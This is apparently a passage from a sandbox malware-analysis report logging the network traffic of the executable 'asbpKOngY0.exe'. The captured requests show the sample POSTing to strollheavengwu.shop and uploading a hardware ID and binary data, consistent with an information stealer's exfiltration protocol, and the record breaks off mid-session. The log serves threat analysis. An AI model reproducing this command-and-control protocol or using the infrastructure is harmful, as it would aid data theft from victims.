Apr 22, 2024 21:43:59.292994976 CEST	192.168.2.4	1.1.1.1	0x9780	Standard query (0)	strollheavengwu.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 22, 2024 21:43:59.431688070 CEST	1.1.1.1	192.168.2.4	0x9780	No error (0)	strollheavengwu.shop		172.67.163.209	A (IP address)	IN (0x0001)	false
Apr 22, 2024 21:43:59.431688070 CEST	1.1.1.1	192.168.2.4	0x9780	No error (0)	strollheavengwu.shop		104.21.15.198	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

strollheavengwu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.163.209	443	4040	C:\Users\user\Desktop\asbpKOngY0.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 19:43:59 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: strollheavengwu.shop
2024-04-22 19:43:59 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-22 19:44:00 UTC	814	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 19:44:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g9j964omf1l85rqvmnvplatge4; expires=Fri, 16-Aug-2024 13:30:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vb4yanB3nMFrKzZkHH3Lb27SvSh0sa%2FjdxfMJrWvpNlbt6Qs1l%2BK2I%2B6%2BMKIJJoOYCBNylRZDYy9TxDUtJDqV9b84wv%2BkgRMJuNOvyhBQtc02PYiDOND6pU%2BYkJml9aWfQFMYm4JdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87881b1f2c254503-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 19:44:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-22 19:44:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.163.209	443	4040	C:\Users\user\Desktop\asbpKOngY0.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 19:44:00 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 58 Host: strollheavengwu.shop
2024-04-22 19:44:00 UTC	58	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 73 74 61 72 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=P6Mk0M--superstar&j=default
2024-04-22 19:44:00 UTC	810	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 19:44:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=niv4rtop70ppmuag0agtn6c7lr; expires=Fri, 16-Aug-2024 13:30:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oieiM5eShftc40zDyVjvUJJxNmjb1OHdzy68DwZsm5L9XxCx%2B2F6f1rquQ7ko7VR5EPH%2BE4vU7yQ0qoq0DIsoKgYmCxwGiIvGRD%2F8S9cPcXSvZNZXGYP4LfVg%2BHFq9Z6kqRxHhNKFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87881b23ef8912df-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 19:44:00 UTC	559	IN	Data Raw: 33 39 65 63 0d 0a 5a 33 33 52 50 32 64 49 4b 6c 59 2b 4d 2b 64 4b 4d 59 61 34 2b 61 33 49 44 76 66 71 71 69 2b 39 30 6a 35 74 38 7a 33 61 46 5a 59 63 64 39 67 64 45 57 6f 51 64 67 6f 66 37 55 4d 54 39 64 33 62 6c 2b 68 36 68 5a 2f 50 41 37 66 62 48 41 79 58 48 2b 41 31 38 41 59 52 6f 6c 70 4c 51 69 4e 30 55 30 76 46 63 42 48 64 73 76 44 57 77 67 66 2b 79 4d 39 42 6e 2b 67 65 54 34 52 59 75 48 44 75 45 78 69 2f 54 41 34 6e 52 42 5a 54 56 70 4d 72 58 4f 66 4c 6b 6f 4f 68 59 64 58 47 6f 43 61 30 38 46 73 58 30 51 66 36 4e 39 73 43 43 62 42 79 42 6a 74 42 64 42 49 35 37 6b 4d 54 34 38 7a 62 6c 2b 67 73 71 38 6a 61 54 73 2b 7a 55 78 36 76 48 2b 42 75 79 6b 55 55 70 56 6f 56 4b 56 34 2f 55 56 32 55 46 68 4f 38 6a 73 6d 64 2b 44 37 48 6c 34 67 6c 74 4b 38 30 5a Data Ascii: 39ecZ33RP2dIKlY+M+dKMYa4+a3IDvfqqi+90j5t8z3aFZYcd9gdEWoQdgof7UMT9d3bl+h6hZ/PA7fbHAyXH+A18AYRolpLQiN0U0vFcBHdsvDWwgf+yM9Bn+geT4RYuHDuExi/TA4nRBZTVpMrXOfLkoOhYdXGoCa08FsX0Qf6N9sCCbByBjtBdBI57kMT48zbl+gsq8jaTs+zUx6vH+BuykUUpVoVKV4/UV2UFhO8jsmd+D7Hl4gltK80Z
2024-04-22 19:44:00 UTC	1369	IN	Data Raw: 2f 4d 4a 58 2b 73 66 52 53 78 47 4e 56 46 52 6c 79 42 59 37 39 2b 4a 78 4b 4e 68 6d 49 6a 46 52 39 43 7a 58 41 69 62 56 62 64 39 38 41 67 53 74 56 30 46 61 67 5a 63 4e 7a 72 46 4c 30 75 6b 67 74 6d 50 69 57 6d 46 6a 38 52 62 6e 59 6f 63 5a 2f 70 41 39 68 79 32 52 33 66 59 52 47 31 42 49 33 52 62 58 63 56 77 45 61 54 53 6e 73 79 70 5a 35 71 4c 77 45 62 4e 73 45 34 4a 6e 46 71 71 63 66 45 4c 46 62 42 50 44 79 52 4f 4e 31 56 61 6a 43 31 55 34 4a 72 56 70 38 45 48 31 59 2f 51 44 59 66 79 48 43 36 63 56 4c 52 39 34 77 56 66 32 7a 59 61 5a 43 42 66 52 54 6e 75 51 78 50 6a 31 74 75 58 36 43 79 52 69 63 78 4d 32 37 35 53 43 35 31 5a 74 6e 72 37 41 78 57 7a 57 67 38 69 51 44 56 52 57 6f 6f 6f 56 75 6e 65 6e 63 4f 72 61 64 58 47 6f 43 61 30 38 46 73 58 30 51 66 36 Data Ascii: /MJX+sfRSxGNVFRlyBY79+JxKNhmIjFR9CzXAibVbd98AgStV0FagZcNzrFL0ukgtmPiWmFj8RbnYocZ/pA9hy2R3fYRG1BI3RbXcVwEaTSnsypZ5qLwEbNsE4JnFqqcfELFbBPDyRON1VajC1U4JrVp8EH1Y/QDYfyHC6cVLR94wVf2zYaZCBfRTnuQxPj1tuX6CyRicxM275SC51Ztnr7AxWzWg8iQDVRWoooVunencOradXGoCa08FsX0Qf6
2024-04-22 19:44:00 UTC	1369	IN	Data Raw: 32 35 55 51 51 34 54 7a 31 56 57 34 51 6d 58 4f 2f 57 6e 74 32 68 59 35 32 48 79 55 44 53 75 31 67 50 30 52 48 51 48 4a 39 46 47 4b 73 64 58 57 67 49 46 56 46 65 6c 79 74 43 70 75 2b 59 77 61 52 72 67 38 69 67 4a 73 44 2b 4e 47 53 49 4e 39 4d 63 74 41 49 54 38 77 56 48 61 6b 6b 34 55 46 43 4b 4c 6c 6e 73 32 5a 72 64 6f 32 4f 64 68 38 46 4d 33 4c 52 64 42 59 4e 4e 75 48 76 6d 43 52 57 31 55 67 67 6d 43 48 6f 30 4f 75 35 6f 56 50 79 61 77 34 33 71 52 70 61 63 79 30 65 64 68 56 38 42 6e 31 69 75 4e 35 78 75 41 50 30 31 62 6a 4d 67 58 7a 63 52 67 69 51 54 76 4a 6a 62 77 71 74 6b 6b 35 72 48 51 4e 79 2b 55 67 43 55 55 4c 42 33 39 41 67 61 74 31 59 4f 4b 55 55 77 54 6c 75 46 49 46 62 6c 30 4a 47 50 35 41 54 2b 34 34 68 4b 78 2f 41 45 54 64 46 75 72 33 79 32 4d Data Ascii: 25UQQ4Tz1VW4QmXO/Wnt2hY52HyUDSu1gP0RHQHJ9FGKsdXWgIFVFelytCpu+YwaRrg8igJsD+NGSIN9MctAIT8wVHakk4UFCKLlns2Zrdo2Odh8FM3LRdBYNNuHvmCRW1UggmCHo0Ou5oVPyaw43qRpacy0edhV8Bn1iuN5xuAP01bjMgXzcRgiQTvJjbwqtkk5rHQNy+UgCUULB39Agat1YOKUUwTluFIFbl0JGP5AT+44hKx/AETdFur3y2M
2024-04-22 19:44:00 UTC	1369	IN	Data Raw: 41 4a 55 34 78 55 56 61 4f 4b 30 48 32 32 5a 2f 42 70 69 7a 62 34 4b 4d 6d 6e 37 64 45 54 38 6b 64 2b 46 4c 6a 42 67 2b 31 58 6b 56 43 49 79 73 53 4f 65 34 78 4f 34 2b 78 32 38 69 6d 4c 4d 33 4b 69 45 33 52 76 46 63 49 6d 6c 53 38 63 2f 51 49 46 4c 31 54 44 43 5a 41 4f 46 74 44 69 43 31 62 37 74 4f 65 77 36 64 76 68 34 76 4a 44 5a 48 59 4e 32 54 52 57 4b 41 33 72 45 64 66 6c 47 34 79 43 51 68 63 4e 30 37 4c 51 44 6a 39 73 76 43 6b 36 6d 75 5a 79 4a 41 50 6e 37 46 55 43 4a 39 62 71 6e 6e 6d 43 78 69 7a 57 77 30 69 54 7a 68 53 58 35 63 67 55 75 54 55 6c 4d 65 6a 61 4a 53 4d 7a 45 48 59 38 42 4a 6e 2b 6a 54 34 63 4f 78 46 52 2f 45 64 4c 53 6c 53 4c 68 35 2f 6a 69 68 55 39 4d 79 41 6a 38 49 48 69 73 61 67 4a 73 62 59 4e 32 54 52 57 4c 51 33 72 45 64 66 74 31 Data Ascii: AJU4xUVaOK0H22Z/Bpizb4KMmn7dET8kd+FLjBg+1XkVCIysSOe4xO4+x28imLM3KiE3RvFcImlS8c/QIFL1TDCZAOFtDiC1b7tOew6dvh4vJDZHYN2TRWKA3rEdflG4yCQhcN07LQDj9svCk6muZyJAPn7FUCJ9bqnnmCxizWw0iTzhSX5cgUuTUlMejaJSMzEHY8BJn+jT4cOxFR/EdLSlSLh5/jihU9MyAj8IHisagJsbYN2TRWLQ3rEdft1
2024-04-22 19:44:00 UTC	1369	IN	Data Raw: 50 31 64 53 6a 79 46 51 36 4e 79 61 77 61 70 69 6c 63 69 47 4a 62 54 62 48 41 69 4a 48 2b 41 31 74 43 55 55 70 55 67 47 4f 6b 34 7a 55 42 48 74 51 30 79 71 73 76 44 57 77 67 66 2b 79 4d 39 42 6e 2b 67 65 54 35 39 4e 76 48 62 30 44 52 61 2f 56 67 30 34 54 7a 4e 58 58 34 73 6a 56 2b 6a 54 6b 4d 61 76 59 4a 53 44 77 55 6a 62 75 6c 6f 43 30 52 48 51 48 4a 39 46 47 4b 73 64 58 57 67 49 47 46 39 65 6a 6d 67 37 6a 38 58 56 70 38 46 31 2f 65 4f 6a 44 64 69 38 48 46 66 54 48 37 39 2f 2f 41 73 63 74 56 59 4a 4a 6b 6b 39 57 6c 53 4e 4c 31 7a 6a 30 35 7a 50 72 48 36 53 68 63 46 4e 31 4c 6c 57 43 35 42 55 2b 44 6d 63 62 6e 54 7a 57 68 31 71 45 48 59 63 59 34 49 2b 51 2b 65 61 38 36 53 31 49 76 37 67 6f 31 53 33 32 7a 64 50 6c 6c 50 34 4c 37 5a 46 45 71 46 63 41 44 68 Data Ascii: P1dSjyFQ6NyawapilciGJbTbHAiJH+A1tCUUpUgGOk4zUBHtQ0yqsvDWwgf+yM9Bn+geT59NvHb0DRa/Vg04TzNXX4sjV+jTkMavYJSDwUjbuloC0RHQHJ9FGKsdXWgIGF9ejmg7j8XVp8F1/eOjDdi8HFfTH79//AsctVYJJkk9WlSNL1zj05zPrH6ShcFN1LlWC5BU+DmcbnTzWh1qEHYcY4I+Q+ea86S1Iv7go1S32zdPllP4L7ZFEqFcADh
2024-04-22 19:44:00 UTC	1369	IN	Data Raw: 59 51 6b 58 4f 66 56 6d 4d 79 72 5a 6f 65 61 78 45 54 58 74 56 41 45 6e 31 6d 71 63 66 73 4d 48 4c 42 55 41 69 4a 45 50 6c 39 57 78 57 59 37 6a 37 48 62 79 4c 49 73 7a 63 71 49 62 73 69 67 55 55 2f 35 4e 4b 63 35 6e 47 34 47 32 7a 5a 75 61 6b 38 34 48 41 6e 48 61 46 76 70 30 70 48 4c 72 57 47 53 6a 73 46 66 31 72 56 53 44 35 56 55 74 33 48 77 42 68 2b 68 57 77 45 69 53 7a 6c 52 58 34 59 73 45 36 71 79 38 4b 54 71 61 34 33 49 6b 41 2b 66 67 6c 45 42 69 6c 43 2f 5a 76 35 46 64 39 68 43 53 30 49 6a 4c 54 51 36 37 6d 68 55 36 4a 72 44 6a 65 70 6f 6d 35 72 44 54 4e 53 37 55 67 69 65 57 72 4a 33 2b 77 45 63 76 56 59 45 4b 55 41 35 55 56 2b 50 49 56 72 6a 31 70 2f 49 36 69 4c 39 34 36 4d 4e 32 4b 67 63 56 39 4d 66 6b 31 62 5a 4b 52 69 70 48 57 31 42 56 33 6f 30 Data Ascii: YQkXOfVmMyrZoeaxETXtVAEn1mqcfsMHLBUAiJEPl9WxWY7j7HbyLIszcqIbsigUU/5NKc5nG4G2zZuak84HAnHaFvp0pHLrWGSjsFf1rVSD5VUt3HwBh+hWwEiSzlRX4YsE6qy8KTqa43IkA+fglEBilC/Zv5Fd9hCS0IjLTQ67mhU6JrDjepom5rDTNS7UgieWrJ3+wEcvVYEKUA5UV+PIVrj1p/I6iL946MN2KgcV9Mfk1bZKRipHW1BV3o0
2024-04-22 19:44:00 UTC	1369	IN	Data Raw: 6a 6c 32 59 33 43 75 69 7a 39 34 39 63 44 74 39 74 46 5a 2f 6f 30 2b 48 44 34 52 55 66 78 48 51 4d 6a 54 6a 4e 61 58 35 63 74 56 65 76 56 6b 73 61 75 5a 4a 61 49 7a 45 6e 59 74 56 38 44 6d 6c 69 37 65 50 41 4d 45 62 70 53 52 57 51 67 58 7a 63 52 67 6a 41 54 76 4a 6a 62 37 72 46 76 6d 59 57 49 4a 62 53 76 45 6d 66 36 52 74 41 63 6e 30 55 59 76 78 31 64 61 41 67 34 55 6c 53 46 49 6c 58 67 33 35 33 46 72 32 79 65 69 38 64 4a 32 62 52 54 44 35 70 57 75 58 48 78 44 78 53 31 55 41 59 73 54 6e 51 53 4f 65 35 44 45 2b 50 43 32 35 66 6f 4c 4c 57 54 78 55 48 59 38 44 52 6b 6a 68 48 51 48 4f 31 74 64 4e 67 64 41 69 59 49 62 42 34 52 6a 69 52 58 34 39 71 57 7a 4b 4a 70 6b 59 4c 4e 54 64 65 69 56 41 2b 57 54 61 70 33 2f 51 41 54 73 46 30 42 4c 45 45 79 58 31 58 46 5a Data Ascii: jl2Y3Cuiz949cDt9tFZ/o0+HD4RUfxHQMjTjNaX5ctVevVksauZJaIzEnYtV8Dmli7ePAMEbpSRWQgXzcRgjATvJjb7rFvmYWIJbSvEmf6RtAcn0UYvx1daAg4UlSFIlXg353Fr2yei8dJ2bRTD5pWuXHxDxS1UAYsTnQSOe5DE+PC25foLLWTxUHY8DRkjhHQHO1tdNgdAiYIbB4RjiRX49qWzKJpkYLNTdeiVA+WTap3/QATsF0BLEEyX1XFZ
2024-04-22 19:44:00 UTC	1369	IN	Data Raw: 77 6a 37 49 73 7a 63 71 49 65 4e 79 2b 55 67 69 48 54 76 56 51 2b 67 49 65 70 55 30 53 4a 51 68 36 4e 44 72 75 61 46 57 6b 67 74 6d 63 35 41 54 2b 34 34 68 4a 7a 76 41 45 54 63 45 4e 34 79 4b 6e 55 6b 2f 68 4e 57 34 31 42 6c 77 33 53 4f 31 44 4f 4b 54 4d 32 35 66 6f 50 74 76 67 6f 79 61 66 6f 68 78 58 30 78 2f 2f 64 4f 59 58 47 62 42 4c 42 6d 31 32 43 6e 74 48 6a 79 39 44 34 38 32 55 6a 2b 51 45 2f 75 4f 49 51 70 2f 6f 48 6a 62 35 4e 4e 4d 63 74 41 77 59 71 45 77 54 4a 31 67 7a 48 44 6e 75 51 32 79 71 73 76 43 6b 36 6e 54 56 30 49 6f 4e 36 72 4e 53 41 5a 5a 4a 71 54 72 54 45 78 57 30 54 51 49 39 52 33 51 53 4f 65 35 44 45 2b 4b 61 77 34 33 35 49 76 33 6a 6f 77 33 62 6f 52 78 58 30 77 2f 71 4c 4b 46 57 53 4f 4d 50 62 55 46 58 65 6a 51 36 6e 45 41 34 6a 35 Data Ascii: wj7IszcqIeNy+UgiHTvVQ+gIepU0SJQh6NDruaFWkgtmc5AT+44hJzvAETcEN4yKnUk/hNW41Blw3SO1DOKTM25foPtvgoyafohxX0x//dOYXGbBLBm12CntHjy9D482Uj+QE/uOIQp/oHjb5NNMctAwYqEwTJ1gzHDnuQ2yqsvCk6nTV0IoN6rNSAZZJqTrTExW0TQI9R3QSOe5DE+Kaw435Iv3jow3boRxX0w/qLKFWSOMPbUFXejQ6nEA4j5
2024-04-22 19:44:00 UTC	1369	IN	Data Raw: 4e 4e 65 78 69 45 37 4e 6f 68 4d 65 68 31 4b 6f 63 4c 67 4e 44 72 35 52 52 57 51 4b 64 42 42 56 6a 69 52 57 34 38 72 55 33 62 70 6e 6d 5a 36 45 53 63 33 77 45 6b 33 52 54 72 4e 34 35 67 73 59 2f 45 77 54 4a 31 67 33 57 56 62 4a 49 45 4c 70 31 74 75 42 36 43 79 41 67 38 52 4c 30 71 55 54 48 6f 64 63 72 6e 43 34 44 51 36 2b 55 55 55 56 42 6c 77 33 4f 73 55 77 45 37 79 59 32 2f 71 70 59 70 75 50 33 6c 79 53 6b 46 63 44 6b 6c 4f 35 63 4c 52 4c 64 39 67 32 52 53 77 49 62 42 34 43 79 30 41 34 6a 35 71 66 33 75 6f 30 31 39 69 61 46 6f 72 6a 43 31 2f 44 4e 39 4e 6f 75 6d 31 30 71 6a 56 75 51 51 67 69 48 41 6e 48 65 68 32 4d 73 66 43 50 75 43 7a 4e 79 6f 67 4b 33 4b 4a 4f 43 5a 4a 4a 75 7a 44 4b 4f 78 36 2b 55 6b 6b 6b 51 7a 52 62 51 5a 4d 7a 48 2b 7a 5a 67 64 57 Data Ascii: NNexiE7NohMeh1KocLgNDr5RRWQKdBBVjiRW48rU3bpnmZ6ESc3wEk3RTrN45gsY/EwTJ1g3WVbJIELp1tuB6CyAg8RL0qUTHodcrnC4DQ6+UUUVBlw3OsUwE7yY2/qpYpuP3lySkFcDklO5cLRLd9g2RSwIbB4Cy0A4j5qf3uo019iaForjC1/DN9Noum10qjVuQQgiHAnHeh2MsfCPuCzNyogK3KJOCZJJuzDKOx6+UkkkQzRbQZMzH+zZgdW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.163.209	443	4040	C:\Users\user\Desktop\asbpKOngY0.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 19:44:01 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18167 Host: strollheavengwu.shop
2024-04-22 19:44:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 45 37 39 46 41 34 30 46 37 35 41 37 35 41 35 38 34 32 33 39 43 39 32 39 31 43 33 31 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"126E79FA40F75A75A584239C9291C31F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 19:44:01 UTC	2836	OUT	Data Raw: b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-04-22 19:44:01 UTC	808	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 19:44:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5c9bgtgb95qfdhigspp3t1v9pa; expires=Fri, 16-Aug-2024 13:30:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=exaWq5buWasWmp%2BUW%2B26MudJYg2%2FsrJcmkRJgewLJad5n3qKLm2iJEmFGlm8jrV2r7pp3m5W87o5nrUuZyJyK1nztd3iMOBM7mhoy6lvCXmRZsu0LWLxb2IY7iNsaweR91dAQLA8yw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87881b288c6912d3-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 19:44:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 19:44:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.163.209	443	4040	C:\Users\user\Desktop\asbpKOngY0.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 19:44:02 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8788 Host: strollheavengwu.shop
2024-04-22 19:44:02 UTC	8788	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 45 37 39 46 41 34 30 46 37 35 41 37 35 41 35 38 34 32 33 39 43 39 32 39 31 43 33 31 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"126E79FA40F75A75A584239C9291C31F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 19:44:02 UTC	810	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 19:44:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=16dvok1sahgdph9ss97n397avi; expires=Fri, 16-Aug-2024 13:30:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gW5t0fSM2Rpm2TUOGjLdpuGfPAvSHX5r4eOyHTULPseKeLNP5tno33RpOUWfzKi15eSCnwZ%2BLjxwt96fK4Y9AdGWcByB0wEiC6lKAvZuq6LbgGw9PwK%2B%2FjRzqREl8V06yeax8lu8%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87881b2ddab51873-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 19:44:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 19:44:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.163.209	443	4040	C:\Users\user\Desktop\asbpKOngY0.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 19:44:03 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20441 Host: strollheavengwu.shop
